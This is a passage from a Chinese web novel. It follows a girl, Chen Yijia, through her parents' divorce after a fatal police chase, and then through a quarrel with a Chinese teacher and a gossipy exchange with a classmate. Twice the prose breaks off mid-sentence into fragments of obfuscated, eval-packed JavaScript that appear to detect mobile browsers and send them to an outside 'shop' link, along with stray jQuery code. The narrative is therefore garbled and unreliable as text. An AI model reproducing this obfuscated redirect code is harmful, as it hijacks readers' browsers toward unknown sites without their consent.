陈池转过来,两个膝盖上都沾满了黑色的灰尘。 余文峰把陈亦佳放到地上,问他怎么回事?陈池说五金店老板的破面包老是溜车,他帮忙拦了一下。 余文峰小小一个协警,官威还挺大,叉着腰问老板的考驾照到底是送了多少钱。老板连连道歉后他才罢休,余文峰把陈亦佳抱到副驾,等陈池钻进后排后又把车开回派出所,随后各回各家。 她们住在离星辰派出所很近的地方,步行十几分钟就可以达到,她们住在一个很小的平房,门口的花椒树散发出引人生津的味道,上学的上班的都饿得不行,回家后吃着朴素的家常菜都觉得异常幸福。 晨星镇是珠沙市海拔更高的地方,夜晚时天气疏朗,月明星稀,陶立芝在屋子里收拾家务,陈池带着陈亦佳在外面扎马步,那个时候陈亦佳的拳头还是有点力量,缠着陈池表演爬人梯,玩累了把白天的星球棒棒糖拿出来,一口一口舔着听陈池讲故事。 陈池说她正咬着的这颗棒棒糖叫做木星,随后遍向女儿讲解木星的光环,什么叫跃迁,什么叫潮汐,从哪个时候,天体的每一次运行,物理的规律都对陈亦佳有着无比的吸引力。大街小巷都在播放着嫦娥六号的消息,那是我国第一次将载人航天飞船发送进入太空;陈亦佳看着电视,无比向往宇宙的神奇,她那时候靠坐在家里的窗台上,望着天空,有时候能发上个下午的呆。 陈亦佳那个时候还不像后来那么孤僻,她跟同桌的女生分享了自己的梦想:同桌的女孩惊异地望着她,说可是陈亦佳,要学那些以后是要去理科的,我们女生学不会理科,我们只能学文科,以后当老师或者当秘书。 陈亦佳惊异地问:“谁告诉你这些的?” 同桌很有经验地说:“我哥我姐他们都是这样的啊。” 陈亦佳是在吃饭地时候问起爸妈这件事情的,她问她可不可以学习理科,陈池那时还很吃惊,没想到她在二年级时就思考这样的问题,回她:“当然可以啊。” 陶立芝夹了一块肉到陈亦佳碗里,“怎么不可以啊?我和你爸就鼓励你好好上学,你要比男生都强才行。” 陶立芝的厨艺是十几年都没有长进的,那块肉已经很柴了,也没有什么味道,陈亦佳却觉得自己拥有最好的、最爱自己的父母。 就在下一年的时候,派出所有人事变动,余文峰和陈池都要调到市区,刚好星辰小学只有三个年级,陈亦佳也跟着一起转了学。陶立芝刚到超市工作,经常加班,回家时经常都累得不想动,陈池的转正考试也屡次通不过,父母的摩擦逐渐多了起来;陈亦佳转学后的生活并不是很好过,没有了在放学路上执勤的警察爸爸,而且作为中途转入的人,她其实交不到什么朋友。有次陈亦佳有个男生把矿泉水泼到她的新书包上,陈亦佳恨那个人恨得厉害,跟他扭打在一起。她在陈池的长期训练下,略懂些拳脚,又开始发育,把那男生的头发都拔下来一撮。男生哭着跟老师打报告,随后他们都被请了家长。陶立芝和陈池这才知道陈亦佳的处境,可两人在这儿上面都吵得起来;陶立芝说是父母没有能力小孩儿才会在学校里受欺负,陈池觉得陈亦佳没有那么脆弱。 这样的争吵持续了几年,陈亦佳上学前的那种平静的、温馨的家庭关系不复存在;陶立芝向来是个温柔的女性,但她吵急了会连陈亦佳一起骂,而陈池在对骂不过是便会沉默,那种沉默又会激怒陶立芝,让她像一个疯子一样大呼小叫的。 后来,陈亦佳才知道,那种叫冷暴力。 总之那时真是鸡犬不宁,他们一对骂起来,幼小的陈亦佳便会跟着哭,跑到两个人跟前说自己上学不幸苦,也没有受欺负,但是没人理她,割据一方接着骂。 陈亦佳从电视剧里学到了离婚这个东西,后来他们在接着吵架,陈亦佳就让他们离婚,也没人理他,他们继续吵。 事情的转变出现在陈亦佳六年级那年。作为历史文化名城的珠沙又一次发掘出一座重量级古墓,开采的工作持续了很久,后来省博物馆举办了一个专题展览,刚开展那几天,世界各地的爱好者都来参观。 极大的人口流动给安保工作带来了不少困难,开展的第三天,一位游客还在路上就被连人带车地绑架了。那是正在执勤的陈池和余文峰被安排去追捕,上面给了陈池不少压力,导致劫车的绑匪不断加速,在高速上发生了车祸,两辆车纷纷冲下高架。 两辆车上都有伤亡,那名游客和余文峰都在车祸中去世,劫匪被捕。 由于当时的宣传空前盛大,导致这场飞来横祸也被大肆报道,各方纷纷问责。 除了上面被拉出来挨打的领导外,作为直接负责的人陈池和余文峰就惨了,在那个通讯并不发达的时代,一点小事都能作为谈资被侃上半天,就别说那件直接把好事办成错事的大事了。 作为责任人里那个幸存者,辅警陈池领了责任,写检查,不知怎地,也可能是受了大众的关注,陈池并没有被开除,只是受到处罚。 陶立芝却以为看到希望,她又准备好东西,让陈池去打点关系,并让他因伤挟持,说自己差点也丢了命,没有功劳也有苦劳。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136102|196289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陈池还是不愿意去,她们就又吵了起来。 陶立芝坐在她们的卧室里边哭边说,她说陈池是个不负责任的窝囊废,空守着破梦想有什么用,连养家糊口都做不到,就是假清高。 她说她后悔跟了陈池,说自己就是丧偶式婚姻,没他也一样。 那是陈池也刚出院,额头上还带着伤,陈亦佳第一次看见她父亲英俊的脸上带着疲惫和颓丧,他垂着头,坐在客厅里那块很旧的红沙发上,一句话都不愿意再说。 可他越是不说话,陶立芝就哭得越厉害。 那时陈亦佳还很小,觉得总是歇斯底里的母亲比沉默的父亲更可怕一些,她很慢地走进客厅,站到陈池面前。 陈池的视线落在地上,没有看到她似的。 陈亦佳交了声:“爸。” “嗯。”陈池的眼神终于落到她的脸上,看了她一会,说,“我跟妈妈离婚好不好?” 陈亦佳的眼泪一下子就滚下来,晶莹的,陆续砸在她的凉鞋上和脚趾上。紧接着,她还是点点头。 陈池提出来后,这个意见很快就得到了通过,陶立芝甚至不想再看他一眼似的,接连把他的东西往外扔。 陈池和陶立芝那个晚上都没睡,陈亦佳一直听到他们收拾东西的声音,她一出门就会被大人赶进房间睡觉,陈亦佳只能缩在被子里,流了一个晚上的眼泪。 两个大人的效率很高,第二天一早就去办了手续,陈池当天就要走,陶立芝不愿意去送他,陈亦佳一个人把她送到门口的花椒树下。 陈亦佳想起来,以前陶立芝跟她讲过,说门口的花椒树是陈池的家乡喜欢栽种的一种,陈池和余文峰是从很远的地方来的,他们在珠沙没什么亲人,当年四处漂流,后面碰巧在珠沙安顿下来。 温和的白面书生一样的英俊的陈池和温柔的美丽的就像她的名字一样的陶立芝在相亲时对上了眼,很快结了婚,也便留在珠沙这座城市,那时他们很穷,住的房子都是陶立芝家里的,他们结婚那年陶立芝在家门口栽了这棵花椒树。 可是家里除了陈池,没有人喜欢那个味道。 现在陈亦佳站在树底下,又被熏得鼻子发痒,甚至觉得那味道浓郁得让她无法呼吸。 陈池像余文峰经常做的那样,捏了捏陈亦佳的脸,说:“好好,对不起,爸爸还没有做好准备就生了你。” 他又把手插进裤兜里说:“好好,照顾好妈妈。” 说完后他就离开了,陈亦佳看着他的背影,陈池穿了一身黑色的衣服,走路的动作很挺拔又很缓慢,陈亦佳觉得他还是跟以前一样很爱干净。 等陈池的背影消失不见了,陈亦佳已经觉得肺里的花椒味道已经浓郁得让她喘不过气来了。 那后面几天,劝和不劝分的亲戚还指着陈亦佳的脑袋说:“你这个呆孩子啊,你爸走的时候你应该扭着他,说不让他走的啊。” 可是陈亦佳一直记得陈池难过的眼睛,她也记得自己终日听到争吵的痛苦。 后来,她越发想念陈池,便不知道自己当时做得对不对,时不时地想如何她天生就很会耍赖,抱着陈池的腿也哭一哭,现在陈池就会在她们身边了。 再后来,邻居们似乎已经认定了她已经成单亲家庭的事实了,没人在提点她的不对,门前的花椒树也被砍掉,可是陈亦佳还是会在想起陈池的时候问到这种味道。 13. 第 13 章 陈亦佳知道自己身上大抵是有着父母的基因,都是软弱的,可是她又因为看过软弱带来的不幸,所以讨厌自己身上的这些东西,于是她反复练习,强迫自己直面那些想逃避的场面。比如说她现在,已经厌恶得不想再看邱宇,也强迫自己盯着眼前的脸/ 她咬牙盯着眼前那张自己暗恋过的脸,有种想去把它撕掉的冲动,她咬着牙说:“我并不想这样写。” 邱宇的眼神闪过一丝尴尬,随即又很快地挂上笑脸,“你不愿意写吗?可以告诉老师为什么吗?” “是的。”陈亦佳很冲地说:“并不想,老师,我念手里这份,或者您找别人念。” 邱宇好像终于发现语文课代表不如陈亦佳三个字喊着方便了,在她身后喊道:“陈亦佳等一下,陈亦佳。” 陈亦佳没有理他。 那个节目最后还是没有改人,陈亦佳上去念了自己手里拿份稿子,台下还是响起了掌声。 陈亦佳回家去修改了一下,便给、给蒋良达写了感谢信,这是她认真写的,装在信笺纸里,漂漂亮亮的。 等她把这些做好,邱宇搬来的救兵到了。 晚自习的时候,老刘敲她的桌子,把她叫去阳台谈话,问她怎么跟邱老师闹矛盾了? 陈亦佳紧闭着嘴不说话。 “你不说话是想让我猜吗?”老刘问她,“是不是因为作文的事情?邱老师也是为了你好。” 陈亦佳忽地抬起头看着她,老刘被那个眼神刺了一下。 陈亦佳向来都是谦虚的,和他们讨论问题时是严谨的,得到他们帮助后总是恨小声又恨真诚地说谢谢,从来没有像这样,用带刺地眼神,憎恶地看着他们。 老刘没有用权威压人,况且自己带了两年的学生怎么也比另一位空降的了解,他等了一会儿说:“受了什么委屈可以跟我说。” 等了一会儿,陈亦佳又不愿意开口。 他说:“你这样闷着也不是回事,我直说吧,我肯定是相信你,我知道你是明事理的,如果不是天大的,大到到能开除他的事,邱宇还是要继续当你们的老师的。为了面子上过得去,你还是得去给他道个歉。” 那个时候陈亦佳的气其实撒得差不多了,她一想也是这么个道理,错的是邱宇,可是老师是不可能给学生道歉的。 刘老师催她:“大学霸你倒是发句话,能不能接受?” “能。”陈亦佳说,“老师,但是我不想继续当课代表了。” “行行行。”刘老师抓了抓脑袋,说,“我去说我去说。” 下一节语文课时,邱宇刚到教室,老刘就在教室说:“陈亦佳后面不能当大家的语文课代表了。” 正式铃还没响,还有几个磨蹭的人陆陆续续走进教室,蒋南行就是其中一个,他刚洗过脸,脸上、头发上都湿漉漉的。 一进门就听到这么一句话,他甩着头发上的水,看了眼陈亦佳,“啊?为什么啊?” 老刘对大家说自己对陈亦佳有自己的计划,她最近数学要冲刺,凭什么每个老师都来占用陈亦佳的时间?他这个教数学的也要来占占,随即又转过头去看着蒋南行说:“还是你继续当吧,反正你也熟练工了。” 蒋南行看了眼陈亦佳,她正装作什么都没有发生的样子,冷着一张小脸,跟她说句话就要被骂几句的既视感,蒋南行偏偏就能感到,她很生气,肯定是发生了什么,才让陈亦佳变成这样六亲不认的样子。 他从第排一走到最后排坐下,补充到:“我也不当。” 邱宇的脸上一时十分难看。 老刘问:“你的理由又是什么?” 蒋南行很敏感地捕捉到了那个“又”,他又看了陈亦佳一眼,对方已经在埋头刷题了,于是他说:“每次抱上去的作业,邱老师都没看,没时间看就别总让我收,当我是推石头的老西呢?” 邱宇的脸像个大茄子,说道:“最近太忙了。” 老刘做出一副很高傲的样子,“既然邱老师目前都没有时间批,那最近这段时间应该也不是很需要课代表了,缓缓再找也行。” 这无异于说他作为教师,心思都不放在教学上,他被面刺,一整天天心不在焉,课都讲错几处。 老刘实现了他的承诺,课后陈亦佳也要实现他的承诺,去跟邱宇道歉。 陈亦佳拖延着不想去,特意积攒到最后一节课,没想到那个时机却在办公室听到了惊天八卦。 语文办公室的几个老师在议论邱宇在读博期间是整个年级里为数不多的男生,犹如众星拱月,但实际凭借外形和嘘寒问暖跟领导搞在一起,在各种竞争中占尽红利并企图留校任教,后来被学院的其他同学联合举报。和院里的女性领导搞在一起,声名狼藉的他猜回到珠沙教学。 陈亦佳心里一下子就通透了,她觉得十分不值得,因为花在邱宇身上的那些精力。 她乐滋滋地跟邱宇到了歉,心里没有不爽,他觉得,邱宇都那么臭名昭著了,那就让让他怎么了,邱宇那时正在气头上,挥挥手就让她走。 陈亦佳笑着出来,遇上了正等在外面的蒋南行,他抱着手臂倚在栏杆上,装装的,打从很远就瞪着陈亦佳看,让陈亦佳觉得他可能是一把年纪还能喊出自己相信光的那种男生。 陈亦佳觉得心情愉悦时更具有发现美的眼睛,比如蒋南行不说话时的美貌真的很浓烈,他站在夕阳的剪影里,身材高大腿部修长,脸是线条分明的立体,帅气得有点距离感,他痞痞地等着陈亦佳走过去的目光让她的手也有点不自然。 但是他一开口时,陈亦佳又觉得那种距离感好像来自己她的想象,蒋南行恨欠打地问她:“陈亦佳,怎么这么开心?有什么料,快讲。” 他表现得像个刺探八卦的狗仔,陈亦佳停在他的面前,问:“什么料?” 蒋南行“哟”了一声,说:“跟你的宝贝老师吵架了,连语文课代表都不当了哦?” 陈亦佳没有说话,径直往前走,蒋南行后退一步,拦了下她的肩膀,“赶紧说是因为什么?刚刚脸都拉成什么样了,这会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136103|196289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴又合不拢,陈亦佳同学,采访一下你这是因为什么?” 陈亦佳突然使坏,凑近了一点,甚至还不知觉地捂了下嘴唇,当作跟蒋南行分享八卦,“我刚刚——听他们说邱老师读书地的时候跟他的老师搞在一起诶。” 她边说遍观察着蒋南行的表情,看着她没什么变化的脸,她开始对着这个大嘴巴添油加醋地编造:“他读博时候的老师诶,应该也有点年纪了,要是结婚了那邱老师不就是——” “小三儿嘛?”蒋南行听这些东西听得尤为认真,看着陈亦佳的眼睛说道,“就是小三儿啊,他那个对象就是有夫之妇啊,他现在不是和校长的女儿走得挺近嘛?就一小白脸的无聊奋斗史,我早就知道了。”他拍了拍肩膀,接着说,“在这儿等你半天,我还以为有什么一手新瓜可以吃。” 陈亦佳震惊地“啊”了声,问他:“那你还想吃什么档次的瓜啊?” 蒋南行看了会她的眼睛,“比如学霸少女智斗精神操纵老师,” 陈亦佳发现,蒋南行这人是真有点幽默了,她笑了两声又往楼下走。 蒋南行突然问:“喜欢余秋雨啊?” 陈亦佳顿了一下,转头看他。 蒋南行又似乎毫无知觉:“我家有他的书,全套,借给你要不?” 陈亦佳一时脑子短路,掩藏的反应像是动作紊乱的机器人,“哦——不用不用,谢谢。” “不喜欢他也行。”蒋南行看着她笑了笑,压低了点声音说,“陈亦佳,还有很多其他有意思的,像人间椅子那种的我也收集了不少,你到时候可以去我家看。” 陈亦佳“啊”了声,她没想到蒋南行会提出这样的邀请;她自认其实是个特别守规矩的女孩儿,像中国的大多数家庭一样,家长从来不会在他们面前提起男女之事,但是会在有人打电话回家邀请她出去玩时,根据听筒里传出的声音判断子女结交的这个人是同性还是异性。 蒋南行见她不说话,有点认真地说:“陈亦佳你测过你的智商吗?我不信你是学不好语文的人。” 他看起来很想当陈亦佳的第三个老师,陈亦佳不知道自己的什么表现吸引了蒋南行的兴趣。在她看来,蒋南行对她的注意是不太符合人类交往中的某些规则的。 陈亦佳想了想,试探地说:“其实,我才拿了你们家的钱,我给你外公写的感谢信可能还放在他的办公室里。” 蒋南行抿了一下嘴唇,他的眸色很深,好像在酝酿什么,“你想说什么?你的感谢信里写了什么见不得人的东西吗?” 陈亦佳竟然真的回忆起他的感谢信里写了什么?因为受了邱宇的影响,陈亦佳今年写的信比往年更虔诚,身份更低,写出这笔钱好像给了她翻天覆地的改变一样。 即使陈亦佳真的很感谢,但也不得不说,送出的那封信其实让她有点不舒服, 陈亦佳想了想,补充说:“其实我从初中就拿了你们家的资助的。” 蒋南行顿了一下,很认真地说:“那你的学习是真的很好。”